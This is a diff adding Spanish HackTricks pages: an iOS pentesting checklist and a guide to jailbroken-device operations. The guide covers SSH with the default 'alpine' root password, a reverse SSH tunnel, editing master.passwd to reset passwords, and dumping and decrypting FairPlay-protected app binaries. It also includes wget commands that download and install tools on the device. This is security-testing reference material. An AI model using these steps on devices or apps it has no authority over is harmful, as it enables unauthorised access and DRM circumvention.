### [Análisis dinámico](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] Prepare el entorno ([en línea](android-app-pentesting/#online-dynamic-analysis), [VM local o física](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] ¿Hay alguna [fuga de datos no intencional](android-app-pentesting/#unintended-data-leakage) (registro, copiar/pegar, registros de fallos)?
|
||||
* [ ] ¿Se están guardando [información confidencial en bases de datos SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] ¿Actividades exportadas explotables](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] ¿Proveedores de contenido explotables](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] ¿Servicios expuestos explotables](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] ¿Receptores de difusión explotables](android-app-pentesting/#exploiting-broadcast-receivers
|
55
mobile-pentesting/ios-pentesting-checklist.md
Normal file
55
mobile-pentesting/ios-pentesting-checklist.md
Normal file
|
@ -0,0 +1,55 @@
|
|||
# Lista de verificación de pentesting de iOS
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígame en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### Preparación
|
||||
|
||||
* [ ] Lea [**Conceptos básicos de iOS**](ios-pentesting/ios-basics.md)
|
||||
* [ ] Prepare su entorno leyendo [**Entorno de prueba de iOS**](ios-pentesting/ios-testing-environment.md)
|
||||
* [ ] Lea todas las secciones de [**Análisis inicial de iOS**](ios-pentesting/#initial-analysis) para aprender las acciones comunes para pentestear una aplicación de iOS.
|
||||
|
||||
### Almacenamiento de datos
|
||||
|
||||
* [ ] Los [**archivos Plist**](ios-pentesting/#plist) se pueden utilizar para almacenar información sensible.
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data) (base de datos SQLite) puede almacenar información sensible.
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (base de datos SQLite) puede almacenar información sensible.
|
||||
* [ ] Configuración incorrecta de [**Firebase**](ios-pentesting/#firebase-real-time-databases).
|
||||
* [ ] [**Las bases de datos de Realm**](ios-pentesting/#realm-databases) pueden almacenar información sensible.
|
||||
* [ ] [**Las bases de datos de Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) pueden almacenar información sensible.
|
||||
* [ ] Las [**cookies binarias**](ios-pentesting/#cookies) pueden almacenar información sensible.
|
||||
* [ ] Los [**datos de caché**](ios-pentesting/#cache) pueden almacenar información sensible.
|
||||
* [ ] Las [**capturas de pantalla automáticas**](ios-pentesting/#snapshots) pueden guardar información visual sensible.
|
||||
* [ ] El [**llavero**](ios-pentesting/#keychain) se utiliza generalmente para almacenar información sensible que puede quedar cuando se vende el teléfono.
|
||||
* [ ] En resumen, solo **verifique si la aplicación guarda información sensible en el sistema de archivos**.
|
||||
|
||||
### Teclados
|
||||
|
||||
* [ ] ¿La aplicación [**permite el uso de teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Verifique si se guarda información sensible en los [**archivos de caché de teclados**](ios-pentesting/#custom-keyboards-keyboard-cache).
|
||||
|
||||
### **Registros**
|
||||
|
||||
* [ ] Verifique si se está [**registrando información sensible**](ios-pentesting/#logs).
|
||||
|
||||
### Copias de seguridad
|
||||
|
||||
* [ ] Las [**copias de seguridad**](ios-pentesting/#backups) se pueden utilizar para **acceder a la información sensible** guardada en el sistema de archivos (verifique el punto inicial de esta lista de verificación).
|
||||
* [ ] Además, las [**copias de seguridad**](ios-pentesting/#backups) se pueden utilizar para **modificar algunas configuraciones de la aplicación**, luego
|
1136
mobile-pentesting/ios-pentesting/README.md
Normal file
1136
mobile-pentesting/ios-pentesting/README.md
Normal file
File diff suppressed because it is too large
Load diff
394
mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md
Normal file
394
mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md
Normal file
|
@ -0,0 +1,394 @@
|
|||
# Obtener el UDID de un dispositivo iOS
|
||||
|
||||
{% hint style="info" %}
|
||||
Realice estas acciones teniendo el dispositivo **conectado** a la computadora a través de **USB** y teniendo el **dispositivo desbloqueado**.
|
||||
{% endhint %}
|
||||
|
||||
El UDID es una secuencia única de 40 dígitos de letras y números para identificar un dispositivo iOS. Puede encontrar el UDID de su dispositivo iOS en macOS Catalina en adelante en la aplicación **Finder**, ya que iTunes ya no está disponible en Catalina. Simplemente seleccione el dispositivo iOS conectado en Finder y **haga clic en la información debajo del nombre del dispositivo iOS** para iterar a través de ella. Además del UDID, puede encontrar el número de serie, IMEI y otra información útil.
|
||||
|
||||
![](<../../.gitbook/assets/image (471).png>)
|
||||
|
||||
Si está utilizando una versión de macOS anterior a Catalina, puede encontrar el [UDID de su dispositivo iOS a través de iTunes](http://www.iclarified.com/52179/how-to-find-your-iphones-udid), seleccionando su dispositivo y haciendo clic en "Número de serie" en la pestaña Resumen. Al hacer clic en esto, iterará a través de diferentes metadatos del dispositivo iOS, incluido su UDID.
|
||||
|
||||
También es posible obtener el UDID a través de varias herramientas de línea de comandos en macOS mientras el dispositivo está conectado a través de USB:
|
||||
|
||||
* Usando la herramienta [I/O Registry Explorer](https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html) `ioreg`:
|
||||
|
||||
```bash
|
||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||
| "USB Serial Number" = "9e8ada44246cee813e2f8c1407520bf2f84849ec"
|
||||
```
|
||||
* Usando [ideviceinstaller](https://github.com/libimobiledevice/ideviceinstaller) (también disponible en Linux):
|
||||
|
||||
```bash
|
||||
$ brew install ideviceinstaller
|
||||
$ idevice_id -l
|
||||
316f01bd160932d2bf2f95f1f142bc29b1c62dbc
|
||||
```
|
||||
* Usando el system\_profiler:
|
||||
|
||||
```bash
|
||||
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
|
||||
2019-09-08 10:18:03.920 system_profiler[13251:1050356] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
|
||||
Serial Number: 64655621de6ef5e56a874d63f1e1bdd14f7103b1
|
||||
```
|
||||
* Usando instruments:
|
||||
|
||||
```bash
|
||||
$ instruments -s devices
|
||||
```
|
||||
|
||||
# Accediendo a la Shell del Dispositivo
|
||||
|
||||
Después de hacer jailbreak al dispositivo, debería haber instalado algún nuevo administrador de aplicaciones como **Cydia**.
|
||||
|
||||
## SSH
|
||||
|
||||
Para habilitar el acceso SSH a su dispositivo iOS, puede instalar el paquete **OpenSSH**. Una vez instalado, puede acceder a su dispositivo a través de ssh ejecutando `ssh root@<device_ip_address>`, lo que lo iniciará sesión como usuario root:
|
||||
```bash
|
||||
$ ssh root@192.168.197.234
|
||||
root@192.168.197.234's password:
|
||||
iPhone:~ root#
|
||||
```
|
||||
Al acceder a su dispositivo iOS a través de SSH, tenga en cuenta lo siguiente:
|
||||
|
||||
* Los usuarios predeterminados son `root` y `mobile`.
|
||||
* La contraseña predeterminada para ambos es `alpine`.
|
||||
|
||||
> Recuerde cambiar la contraseña predeterminada para ambos usuarios `root` y `mobile`, ya que cualquier persona en la misma red puede encontrar la dirección IP de su dispositivo y conectarse a través de la contraseña predeterminada conocida, lo que les dará acceso de root a su dispositivo.
|
||||
|
||||
## **Conectar a un dispositivo a través de SSH por USB**
|
||||
|
||||
Durante una prueba real de caja negra, es posible que no haya una conexión Wi-Fi confiable disponible. En esta situación, puede usar usbmuxd para conectarse al servidor SSH de su dispositivo a través de USB.
|
||||
|
||||
Conecte macOS a un dispositivo iOS instalando e iniciando iproxy:
|
||||
```bash
|
||||
$ brew install libimobiledevice
|
||||
$ iproxy 2222 22
|
||||
waiting for connection
|
||||
```
|
||||
El comando anterior mapea el puerto `22` del dispositivo iOS al puerto `2222` en localhost. También puedes [hacer que iproxy se ejecute automáticamente en segundo plano](https://iphonedevwiki.net/index.php/SSH\_Over\_USB) si no quieres ejecutar el binario cada vez que quieras hacer SSH a través de USB.
|
||||
|
||||
Con el siguiente comando en una nueva ventana de terminal, puedes conectarte al dispositivo:
|
||||
```bash
|
||||
$ ssh -p 2222 root@localhost
|
||||
root@localhost's password:
|
||||
iPhone:~ root#
|
||||
```
|
||||
> Pequeña nota sobre el USB de un iDevice: en un dispositivo iOS no se pueden hacer conexiones de datos después de 1 hora de estar bloqueado, a menos que lo desbloquees de nuevo debido al Modo Restringido de USB, que se introdujo con iOS 11.4.1.
|
||||
|
||||
## Aplicación de Shell en el dispositivo
|
||||
|
||||
Aunque normalmente el uso de una **shell en el dispositivo** (emulador de terminal) puede resultar muy tedioso en comparación con una shell remota, puede resultar útil para la depuración en caso de, por ejemplo, problemas de red o para verificar alguna configuración. Por ejemplo, puedes instalar [NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/) a través de Cydia para este propósito (admite iOS 6.0 a 12.1.2 en el momento de escribir esto).
|
||||
|
||||
Además, hay algunos jailbreaks que desactivan explícitamente el SSH entrante _por razones de seguridad_. En esos casos, es muy conveniente tener una aplicación de shell en el dispositivo, que puedes usar para primero SSH fuera del dispositivo con una shell inversa, y luego conectarte desde tu computadora host a ella.
|
||||
|
||||
Para abrir una shell inversa sobre SSH, ejecuta el comando `ssh -R <remote_port>:localhost:22 <username>@<host_computer_ip>`.
|
||||
|
||||
En la aplicación de shell en el dispositivo, ejecuta el siguiente comando y, cuando se te solicite, ingresa la contraseña del usuario `mstg` de la computadora host:
|
||||
```bash
|
||||
ssh -R 2222:localhost:22 mstg@192.168.197.235
|
||||
```
|
||||
En tu ordenador anfitrión ejecuta el siguiente comando y, cuando se te solicite, introduce la contraseña del usuario `root` del dispositivo iOS:
|
||||
```bash
|
||||
$ ssh -p 2222 root@localhost
|
||||
```
|
||||
## **Contraseña olvidada**
|
||||
|
||||
Si olvidas tu contraseña y quieres restablecerla a la predeterminada `alpine`:
|
||||
|
||||
1. Edita el archivo `/private/etc/master.passwd` en tu dispositivo iOS con jailbreak usando una **terminal** en el dispositivo o usando aplicaciones como **Filza** o **iFile**.
|
||||
2. Encuentra las líneas:
|
||||
|
||||
```bash
|
||||
root:xxxxxxxxx:0:0::0:0:System Administrator:/var/root:/bin/sh
|
||||
mobile:xxxxxxxxx:501:501::0:0:Mobile User:/var/mobile:/bin/sh
|
||||
```
|
||||
3. Cambia `xxxxxxxxx` por `/smx7MYTQIi2M` (que es la contraseña cifrada `alpine`).
|
||||
4. Guarda y sal.
|
||||
|
||||
# Transferencia de datos
|
||||
|
||||
## Copiar archivos de datos de aplicaciones a través de SSH y SCP
|
||||
|
||||
Como sabemos ahora, los archivos de nuestra aplicación se almacenan en el directorio Data. Ahora puedes simplemente archivar el directorio Data con `tar` y extraerlo del dispositivo con `scp`:
|
||||
```bash
|
||||
iPhone:~ root# tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
iPhone:~ root# exit
|
||||
$ scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
```
|
||||
## Usando iFunbox
|
||||
|
||||
[**iFunbox**](https://www.i-funbox.com/en/page-download.html) es una aplicación GUI que se puede utilizar para varias cosas (subir/bajar archivos entre ellas).\
|
||||
Otra herramienta GUI para este propósito es [**iExplorer**](https://macroplant.com/iexplorer).
|
||||
|
||||
{% hint style="info" %}
|
||||
A partir de la versión 8.4 de iOS, Apple ha **restringido el acceso de los administradores de terceros al sandbox de la aplicación**, por lo que herramientas como iFunbox e iExplorer ya no muestran/recuperan archivos de las aplicaciones instaladas en el dispositivo si el dispositivo no está jailbroken.
|
||||
{% endhint %}
|
||||
|
||||
## Usando Objection
|
||||
|
||||
Cuando se inicia objection (`objection --gadget com.apple.mobilesafari explorer`) se encontrará el prompt dentro del directorio Bundle.
|
||||
```bash
|
||||
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # pwd print
|
||||
Current directory: /var/containers/Bundle/Application/DABF849D-493E-464C-B66B-B8B6C53A4E76/org.owasp.MSTG.app
|
||||
```
|
||||
Utiliza el comando `env` para obtener los directorios de la aplicación y navega al directorio de Documentos.
|
||||
```bash
|
||||
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
/var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
```
|
||||
Con el comando `file download <nombre_archivo>` puedes descargar un archivo del dispositivo iOS a tu computadora y analizarlo posteriormente.
|
||||
```bash
|
||||
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # file download .com.apple.mobile_container_manager.metadata.plist
|
||||
Downloading /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/.com.apple.mobile_container_manager.metadata.plist to .com.apple.mobile_container_manager.metadata.plist
|
||||
Streaming file from device...
|
||||
Writing bytes to destination...
|
||||
Successfully downloaded /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/.com.apple.mobile_container_manager.metadata.plist to .com.apple.mobile_container_manager.metadata.plist
|
||||
```
|
||||
También puedes subir archivos al dispositivo iOS con `file upload <local_file_path>`.
|
||||
|
||||
# Obtención y Extracción de Aplicaciones
|
||||
|
||||
## Obteniendo el archivo IPA desde un enlace de distribución OTA
|
||||
|
||||
Durante el desarrollo, a veces se proporcionan aplicaciones a los probadores a través de la distribución por aire (OTA). En esa situación, recibirás un enlace de itms-services, como el siguiente:
|
||||
```
|
||||
itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist
|
||||
```
|
||||
Puedes utilizar la herramienta [ITMS services asset downloader](https://www.npmjs.com/package/itms-services) para descargar el archivo IPA desde una URL de distribución OTA. Instálalo a través de npm:
|
||||
```bash
|
||||
$ npm install -g itms-services
|
||||
```
|
||||
Guarda el archivo IPA localmente con el siguiente comando:
|
||||
```bash
|
||||
# itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
```
|
||||
## Adquisición del binario de la aplicación
|
||||
|
||||
1. **Desde un IPA**:
|
||||
|
||||
Si tienes el IPA (probablemente incluyendo un binario de aplicación ya descifrado), descomprímelo y estará listo para usar. El binario de la aplicación se encuentra en el directorio principal del paquete (.app), por ejemplo, `Payload/Telegram X.app/Telegram X`. Consulta la siguiente subsección para obtener detalles sobre la extracción de las listas de propiedades.
|
||||
|
||||
> En el Finder de macOS, los directorios .app se abren haciendo clic derecho en ellos y seleccionando "Mostrar contenido del paquete". En la terminal, simplemente puedes usar `cd` para acceder a ellos.
|
||||
|
||||
2. Desde un **dispositivo con Jailbreak**:
|
||||
|
||||
Si no tienes el IPA original, necesitarás un dispositivo con Jailbreak donde **instalarás la aplicación** (por ejemplo, a través de la App Store). Una vez instalada, necesitas **extraer el binario de la aplicación de la memoria y reconstruir el archivo IPA**. Debido a la protección DRM, el archivo binario de la aplicación está cifrado cuando se almacena en el dispositivo iOS, por lo que simplemente extraerlo del paquete (ya sea a través de SSH o Objection) no será suficiente para ingeniería inversa (lee la siguiente sección).
|
||||
|
||||
## Descifrado (Manual)
|
||||
|
||||
A diferencia de una aplicación de Android, el binario de una aplicación de iOS **solo puede ser desensamblado** y no decompilado.\
|
||||
Cuando se envía una aplicación a la App Store, Apple primero verifica la conducta de la aplicación y antes de lanzarla en la App Store, **Apple cifra el binario usando** [**FairPlay**](https://developer.apple.com/streaming/fps/). Por lo tanto, la descarga del binario desde la App Store está cifrada, lo que complica las tareas de ingeniería inversa.
|
||||
|
||||
Sin embargo, ten en cuenta que hay otros **software de terceros que se pueden utilizar para ofuscar** los binarios resultantes.
|
||||
|
||||
Para ejecutar el binario cifrado, el dispositivo necesita descifrarlo en la memoria. Luego, es posible **volcar el binario descifrado desde la memoria**.
|
||||
|
||||
Primero, comprueba si el binario se compila con la marca PIE (Código de Posición Independiente):
|
||||
```bash
|
||||
otool -Vh Original_App #Check the last word of the last line of this code
|
||||
Home:
|
||||
Mach header
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
MH_MAGIC_64 X86_64 ALL 0x00 EXECUTE 47 6080 NOUNDEFS DYLDLINK TWOLEVEL PIE
|
||||
```
|
||||
Si está establecido, puedes usar el script [`change_macho_flags.py`](https://chromium.googlesource.com/chromium/src/+/49.0.2623.110/build/mac/change\_mach\_o\_flags.py) para eliminarlo con python2:
|
||||
```bash
|
||||
python change_mach_o_flags.py --no-pie Original_App
|
||||
otool -Vh Hello_World
|
||||
Hello_World:
|
||||
Mach header
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
MH_MAGIC ARM V7 0x00 EXECUTE 22 2356 NOUNDEFS DYLDLINK TWOLEVEL MH_NO_HEAP_EXECUTION
|
||||
```
|
||||
Ahora que la bandera PIE no está establecida, el sistema operativo cargará el programa en una **ubicación de inicio fija** cada vez. Para encontrar esta **ubicación**, puedes usar:
|
||||
```bash
|
||||
otool -l Original_App | grep -A 3 LC_SEGMENT | grep -A 1 __TEXT
|
||||
segname __TEXT
|
||||
vmaddr 0x00004000
|
||||
```
|
||||
Entonces, es necesario extraer el rango de memoria que debe ser volcado:
|
||||
```bash
|
||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
||||
cmd LC_ENCRYPTION_INFO
|
||||
cmdsize 20
|
||||
cryptoff 16384
|
||||
cryptsize 17416192
|
||||
cryptid 0
|
||||
```
|
||||
El valor de **`cryptoff`** indica la dirección de inicio del contenido cifrado y **`cryptsize`** indica el tamaño del contenido cifrado.
|
||||
|
||||
Por lo tanto, la `dirección de inicio` para el volcado será `vmaddr + cryptoff` y la `dirección final` será `dirección de inicio + cryptsize`.\
|
||||
En este caso: `dirección_de_inicio = 0x4000 + 0x4000 = 0x8000` __ y `dirección_final = 0x8000 + 0x109c000 = 0x10a4000`
|
||||
|
||||
Con esta información, solo es necesario ejecutar la aplicación en el dispositivo con jailbreak, adjuntarse al proceso con gdb (`gdb -p <pid>`) y volcar la memoria:
|
||||
```bash
|
||||
dump memory dump.bin 0x8000 0x10a4000
|
||||
```
|
||||
¡Felicidades! Has descifrado la sección encriptada en dump.bin. Ahora **transfiere este volcado a tu ordenador y sobrescribe la sección encriptada con la descifrada**:
|
||||
```bash
|
||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
```
|
||||
Hay un paso más para completar. La aplicación todavía **indica** en sus metadatos que está **encriptada**, pero **no lo está**. Entonces, cuando se ejecuta, el dispositivo intentará descifrar la sección que ya está descifrada y fallará.\
|
||||
Sin embargo, puedes usar herramientas como [**MachOView**](https://sourceforge.net/projects/machoview/) para cambiar esta información. Solo abre el binario y establece el **cryptid** en 0:
|
||||
|
||||
![](<../../.gitbook/assets/image (470).png>)
|
||||
|
||||
## Descifrado (Automáticamente)
|
||||
|
||||
### frida-ios-dump
|
||||
|
||||
Puedes usar herramientas como [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) para **eliminar automáticamente la encriptación de una aplicación**.
|
||||
|
||||
Primero, asegúrate de que la configuración en **Frida-ios-dump** `dump.py` esté configurada en localhost con el puerto 2222 cuando uses **iproxy**, o en la dirección IP real y el puerto del dispositivo desde el cual deseas volcar el binario.
|
||||
|
||||
Ahora puedes usar la herramienta de manera segura para **enumerar** las **aplicaciones instaladas**:
|
||||
```bash
|
||||
$ python dump.py -l
|
||||
PID Name Identifier
|
||||
---- --------------- -------------------------------------
|
||||
860 Cydia com.saurik.Cydia
|
||||
1130 Settings com.apple.Preferences
|
||||
685 Mail com.apple.mobilemail
|
||||
834 Telegram ph.telegra.Telegraph
|
||||
- Stocks com.apple.stocks
|
||||
...
|
||||
```
|
||||
y puedes **volcar** **uno** de los binarios listados:
|
||||
```bash
|
||||
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||
|
||||
Start the target app ph.telegra.Telegraph
|
||||
Dumping Telegram to /var/folders/qw/gz47_8_n6xx1c_lwq7pq5k040000gn/T
|
||||
[frida-ios-dump]: HockeySDK.framework has been loaded.
|
||||
[frida-ios-dump]: Load Postbox.framework success.
|
||||
[frida-ios-dump]: libswiftContacts.dylib has been dlopen.
|
||||
...
|
||||
start dump /private/var/containers/Bundle/Application/14002D30-B113-4FDF-BD25-1BF740383149/Telegram.app/Frameworks/libswiftsimd.dylib
|
||||
libswiftsimd.dylib.fid: 100%|██████████| 343k/343k [00:00<00:00, 1.54MB/s]
|
||||
start dump /private/var/containers/Bundle/Application/14002D30-B113-4FDF-BD25-1BF740383149/Telegram.app/Frameworks/libswiftCoreData.dylib
|
||||
libswiftCoreData.dylib.fid: 100%|██████████| 82.5k/82.5k [00:00<00:00, 477kB/s]
|
||||
5.m4a: 80.9MB [00:14, 5.85MB/s]
|
||||
0.00B [00:00, ?B/s]Generating "Telegram.ipa"
|
||||
```
|
||||
Después de esto, el archivo `Telegram.ipa` se creará en su directorio actual. Puede validar el éxito del volcado eliminando la aplicación y reinstalándola (por ejemplo, usando [**ios-deploy**](https://github.com/ios-control/ios-deploy) `ios-deploy -b Telegram.ipa`). Tenga en cuenta que esto solo funcionará en dispositivos con jailbreak, ya que de lo contrario la firma no será válida.
|
||||
|
||||
### flexdecrypt
|
||||
|
||||
Para **obtener el archivo ipa** de una aplicación instalada, también puede usar la herramienta [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) o un envoltorio de la herramienta llamado [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**.**\
|
||||
En cualquier caso, deberá **instalar flexdecrypt en el dispositivo** ejecutando algo como:
|
||||
```markup
|
||||
wget https://github.com/JohnCoates/flexdecrypt/releases/download/1.1/flexdecrypt.deb
|
||||
dpkg -i flexdecrypt.deb
|
||||
rm flexdecrypt.deb
|
||||
```
|
||||
y para usar **flexdump**:
|
||||
```bash
|
||||
apt install zip unzip
|
||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||
flexdump list #List apps
|
||||
flexdump dump Twitter.app #Create .ipa file from app
|
||||
```
|
||||
### r2flutch
|
||||
|
||||
[**r2flutch**](https://github.com/as0ler/r2flutch) es una herramienta que utiliza **radare** y **frida** para **descifrar** y **volcar aplicaciones de iOS**.
|
||||
|
||||
Consulte el **github** para obtener más información.
|
||||
|
||||
# Instalación de aplicaciones
|
||||
|
||||
Cuando instala una aplicación sin usar la App Store de Apple, esto se llama **sideloading**. Hay varias formas de sideloading que se describen a continuación. En el dispositivo iOS, el proceso de instalación real es manejado por el **daemon installd**, que descomprimirá e instalará la aplicación. Para integrar servicios de aplicaciones o ser instalado en un dispositivo iOS, todas las **aplicaciones deben estar firmadas con un certificado emitido por Apple**. Esto significa que la aplicación solo se puede instalar después de una verificación exitosa de la firma del código. En un teléfono con jailbreak, sin embargo, puede **evitar esta función de seguridad con** [**AppSync**](http://repo.hackyouriphone.org/appsyncunified), un paquete disponible en la tienda Cydia. Contiene numerosas aplicaciones útiles que aprovechan los privilegios de root proporcionados por el jailbreak para ejecutar funcionalidades avanzadas. **AppSync es un ajuste que parchea installd**, permitiendo la instalación de paquetes IPA falsificados.
|
||||
|
||||
Existen diferentes métodos para instalar un paquete IPA en un dispositivo iOS, que se describen en detalle a continuación.
|
||||
|
||||
> Tenga en cuenta que iTunes ya no está disponible en macOS Catalina. Si está utilizando una versión anterior de macOS, iTunes todavía está disponible, pero desde iTunes 12.7 no es posible instalar aplicaciones.
|
||||
|
||||
### Cydia Impactor
|
||||
|
||||
[Cydia Impactor](http://www.cydiaimpactor.com) fue creado originalmente para hacer jailbreak a iPhones, pero ha sido reescrito para firmar e instalar paquetes IPA en dispositivos iOS a través de sideloading (e incluso archivos APK en dispositivos Android). Cydia Impactor está disponible para Windows, macOS y Linux. Una [guía paso a paso y pasos de solución de problemas están disponibles en yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
||||
|
||||
### libimobiledevice
|
||||
|
||||
En Linux y también en macOS, puede usar [libimobiledevice](https://www.libimobiledevice.org), una biblioteca de protocolo de software multiplataforma y un conjunto de herramientas para la comunicación nativa con dispositivos iOS. Esto le permite instalar aplicaciones a través de una conexión USB ejecutando ideviceinstaller. La conexión se implementa con el demonio de multiplexación USB [usbmuxd](https://www.theiphonewiki.com/wiki/Usbmux), que proporciona un túnel TCP sobre USB.
|
||||
|
||||
El paquete para libimobiledevice estará disponible en su administrador de paquetes de Linux. En macOS, puede instalar libimobiledevice a través de brew:
|
||||
```bash
|
||||
$ brew install libimobiledevice
|
||||
$ brew install ideviceinstaller
|
||||
```
|
||||
Después de la instalación, tendrás disponibles varias nuevas herramientas de línea de comandos, como `ideviceinfo`, `ideviceinstaller` o `idevicedebug`.
|
||||
```bash
|
||||
# The following command will show detailed information about the iOS device connected via USB.
|
||||
$ ideviceinfo
|
||||
# The following command will install the IPA to your iOS device.
|
||||
$ ideviceinstaller -i iGoat-Swift_v1.0-frida-codesigned.ipa
|
||||
...
|
||||
Install: Complete
|
||||
# The following command will start the app in debug mode, by providing the bundle name. The bundle name can be found in the previous command after "Installing".
|
||||
$ idevicedebug -d run OWASP.iGoat-Swift
|
||||
```
|
||||
### ipainstaller
|
||||
|
||||
El IPA también se puede instalar directamente en el dispositivo iOS a través de la línea de comandos con [ipainstaller](https://github.com/autopear/ipainstaller). Después de copiar el archivo en el dispositivo, por ejemplo, a través de scp, puede ejecutar ipainstaller con el nombre de archivo IPA:
|
||||
```bash
|
||||
$ ipainstaller App_name.ipa
|
||||
```
|
||||
### ios-deploy
|
||||
|
||||
En macOS también puedes usar la herramienta **ios-deploy** para instalar aplicaciones de iOS desde la línea de comandos. Deberás descomprimir tu IPA ya que ios-deploy utiliza los paquetes de aplicaciones para instalarlas.
|
||||
```bash
|
||||
$ unzip Name.ipa
|
||||
$ ios-deploy --bundle 'Payload/Name.app' -W -d -v
|
||||
```
|
||||
Después de que la aplicación se instale en el dispositivo iOS, simplemente puedes iniciarla agregando la bandera `-m`, lo que iniciará la depuración directamente sin instalar la aplicación de nuevo.
|
||||
```bash
|
||||
$ ios-deploy --bundle 'Payload/Name.app' -W -d -v -m
|
||||
```
|
||||
### Xcode
|
||||
|
||||
También es posible utilizar el entorno de desarrollo integrado (IDE) Xcode para instalar aplicaciones iOS siguiendo los siguientes pasos:
|
||||
|
||||
1. Iniciar Xcode
|
||||
2. Seleccionar **Window/Devices and Simulators**
|
||||
3. Seleccionar el dispositivo iOS conectado y hacer clic en el signo **+** en **Installed Apps**.
|
||||
|
||||
### Permitir la instalación de aplicaciones en un dispositivo que no sea un iPad
|
||||
|
||||
A veces, una aplicación puede requerir ser utilizada en un dispositivo iPad. Si solo tienes dispositivos iPhone o iPod touch, entonces puedes forzar a la aplicación a aceptar ser instalada y utilizada en estos tipos de dispositivos. Puedes hacer esto cambiando el valor de la propiedad **UIDeviceFamily** al valor **1** en el archivo **Info.plist**.
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
|
||||
<key>UIDeviceFamily</key>
|
||||
<array>
|
||||
<integer>1</integer>
|
||||
</array>
|
||||
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
